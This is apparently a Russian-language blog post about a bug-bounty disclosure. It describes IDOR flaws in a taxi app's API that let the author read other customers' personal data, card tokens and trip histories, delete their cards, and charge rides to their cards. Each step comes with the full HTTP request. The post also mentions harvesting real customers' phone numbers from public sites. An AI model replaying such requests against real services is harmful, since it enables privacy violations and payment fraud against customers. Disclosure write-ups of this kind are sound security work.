Хабрахабр

Как ездить на такси за чужой счёт — уязвимости на примере одного сервиса

После нахождения уязвимостей в мобайл-банкинге украинского банка (пост) я захотел немного сменить направление и перейти от финансовых сервисов к другим.

На глаза попалась рекламная статья про обновлённое мобильное приложение такси, его я и выбрал своим подопытным.

Здесь инструменты те же: ПК, Fiddler, Android-смартфон – устанавливаем приложение и отслеживаем его запросы.

Я специально не рассматривал запросы и ответы при регистрации или логине (например, не стал проверять возможность перебора пароля), а перешёл к функциям, доступным после регистрации.

Я решил спросить знакомых на наличие аккаунта в сервисе. Так как у меня не было истории поездок с помощью данного сервиса, а проводить реальную поездку для тестирования мне не хотелось, мне нужны были данные кого-либо ещё из клиентов. Среди знакомых нашлись клиенты этого такси, но вызывали они его по-старинке – с помощью звонка.

В итоге я нашёл пару телефонов на одном из сайтов по поиску работы. Тогда я начал искать номера телефонов среди общедоступной в интернете информации – например, на официальном сайте и среди отзывов в соцсетях (зачастую недовольные клиенты, описывая жалобы, вместо отправки компании в личку своих контактов оставляют их в комментариях на всеобщее обозрение). Один из них я подставил в последующие запросы и получил информацию, которая не должна была быть доступна кому-либо извне.


Это были следующие проблемы:

Получаем id клиента, его ФИО, телефон, e-mail и город (такси работает в нескольких городах). 1.

Когда приложение загружает профиль, выполняется такой POST-запрос:

https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: User
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 37 func=loadMyInfo&phone=%2B380671234567

Подставив чужой номер телефона в функцию loadMyInfo&phone, в ответ я получил id клиента, его полное ФИО, телефон, e-mail и город:

[]

2) Информация о платёжных картах клиента

Во втором запросе я смог получить информацию о платёжных картах, добавленных клиентом в личный кабинет:

https://sometaxi/mobile3/ClientCard.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: User
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 58 data={"Task":"GetClientCardsData","phone":"+380671234567"}

Ответ:

{"data":[{"masked_card":"512345XXXXXX6789","rectoken":"ccaffe873a0e88caf49bc65bbef2390329","card_type":"MASTERCARD","default":true,"card_name":"Зарплатная"}]}

Здесь были доступны: усечённый номер карты, какой-то токен, тип карты, установлена ли карта по умолчанию и её название.

3) Получение информации о поездках клиента

Третий запрос — loadHistory — ожидаемо предоставил мне наибольшее и самое важное (как я тогда думал) количество информации:

https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: User
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 38
func=loadHistory&phone=%2B380671234567

Часть ответа (как и ранее, данные изменены):

{"id":454875,"From":"Шолом-Алейхема вул., 1","To":"Кириллівська вул., 13","When":"10-01-2019 15:55","WhenDate":1569942900,"Price":"160","Rate":0,"preorder":0,"status":1,"orderid":"11174445","additionalServices":"[]","classAvto":2,"callsignid":6426,"Car":"Сидоров Олександр Олександрович,Toyota Corolla,Белый,АА 3733 РА","city":1,"cityName":"Київ","distance":"0.00"}
{"id":408880,"From":"Драйзера Теодора вул., 2","To":"Шолом-Алейхема ул., 1","When":"25-12-2018 03:44","WhenDate":1545709440,"Price":"79","Rate":0,"preorder":0,"status":1,"orderid":"10966503","additionalServices":"[]","classAvto":2,"callsignid":4545,"Car":"Петров Костянтин Петрович,Toyota Corolla,Белый,АА 0415 РС","city":null,"cityName":null,"distance":"0.00"}

Здесь доступны: Адрес отправления, Адрес назначения, Дата и время поездки, Стоимость, а также Полное ФИО таксиста, тип, цвет и номер его машины.

Итого: с помощью пары запросов, по номеру телефона можно узнать всё про клиента данного сервиса, включая определённые детали личной жизни (например, поездки на Новый год в 2 часа ночи из одного адреса в другой).

Но найденного уже было достаточно, чтобы сообщить об этом разработчикам, что я незамедлительно и сделал на прямые рабочие адреса. Наверняка в приложении были и другие места, где можно было получить иную информацию.

На протяжении месяца мы переписывались, и позже мне выплатили вознаграждение.

И тут этот пост мог бы закончиться, но я решил ещё раз проверить, были ли исправлены все ошибки.

Да, два из трёх запросов уже не отдавали мне чужую информацию, но один всё ещё был валидным.

Затем идёт прохождение верификации путём списания 1 грн. Платёжные карты добавляются в это приложение так же, как и в любое другое: сначала на специальной странице клиент указывает полный номер, срок действия и CVV карты. Это нормальная практика, полного номера и других платёжных реквизитов карт клиентов в запросах не было. и подтверждение клиентом такой операции по 3-D Secure/LookUp.

Но так как я видел, что моя добавленная карта удаляется запросом вида data={"Task":"DeleteClientCardsData","rectoken":"bc65bbef2390329ccaffe873a0e88caf49"}, то решил проверить: что будет, если указать rectoken другого клиента.

4) Удаление чужой карты по токену

Выполняю запрос с чужим токеном:

https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 86 data={"Task":"DeleteClientCardsData","rectoken":"ccaffe873a0e88caf49bc65bbef2390329"}

И чужая карта удалилась!

Я дополнительно проверил это с помощью того же запроса №2 — был ли это просто визуальный ответ {"status":"Success"."err":""}, или карта действительно была удалена у клиента.

Карта действительно была удалена.

Тут же я написал второе письмо, извинившись, но, решил экспериментировать дальше, создав себе ещё один аккаунт: если карту по токену можно удалить — возможно, её по тому же токену можно и привязать, и именно привязать к себе?

5) Добавление чужой карты по токену в свой аккаунт

Главное — знать rectoken (а получить его можно благодаря незакрытой проблеме №2). Да, не буду томить — чужую карту можно было привязать к себе.

В POST-запросе можно было указать любые данные — любые первые 6 и последние 4 цифры номера карты, хоть 500000****1111 — карта визуально привязывалась с этими данными, а токен был от другого клиента и валидный.

POST https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 221 data={"Task":"ClientCardData","default":false,"phone":"+380991234567","masked_card":"500000XXXXXX1111","card_name":"Test","card_type":"MASTERCARD","rectoken":"4f6d228517f2d45690670aba78013a0408"}

Что это значит: из-за возможности привязки токена к своей учётке я мог бы совершить поездку за чужой счёт без знания полных реквизитов карты и без какой-либо дополнительной её проверки — ведь карта уже была добавлена клиентом и успешно проверена платёжным сервисом.

Клиент при первой покупке вводит платежные данные, при последующих оплатах клиенту будет достаточно нажать кнопку «оплатить». Объяснение про возможность оплаты с чужой карты:
Для упрощения ввода платежных реквизитов при платежах используется оплата в один клик на базе токенов.

Этот токен можно использовать для безакцептной оплаты без ввода CVV и без 3-D Secure аутентификации. Токен — это уникальный номер, который присваивается набору параметров карты в системе.

Дополнительно

Создание токена — это процесс успешной оплаты/блокировки средств на карте клиента с вводом полных реквизитов клиента (номер карты, срок действия, CVV). Создать токен можно следующим образом:

  1. Принять платеж (Purchase) — успешная оплата клиентом с вводом полных реквизитов карты. Карте присваивается recToken и передаётся в ответе.
  2. Верификация карты/получение токена (Verify) — успешная верификация карты, блокировка средств на карте клиента. Карте присваивается recToken и передаётся в ответе.



Списание по токену — проведение операции списания/блокировки средств на карте, без участия клиента, путем передачи от мерчанта токена.

Пример объяснения взят отсюда.

Конечно же, заказ прошёл, деньги списались (в авто я не садился). Разработчики попросили продемонстрировать возможность переноса токена с их аккаунта на мой и заказа такси — им нужно было убедиться, что списание по токену действительно произойдёт. Позже мне выплатили ещё немного денег.

Как видно из данной и предыдущей статей, иногда PHPSESSID, Authorization или SecurityToken недостаточно.

Если вы тестировщик – ищите и находите, но обязательно сообщайте об этом разработчикам. Если вы разработчик – пожалуйста, следите и за тем, что и кому вы отдаёте при запросах. Уязвимостей полно там и тут, поэтому, пожалуйста, будьте белым хакером.

Показать больше

Похожие публикации

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»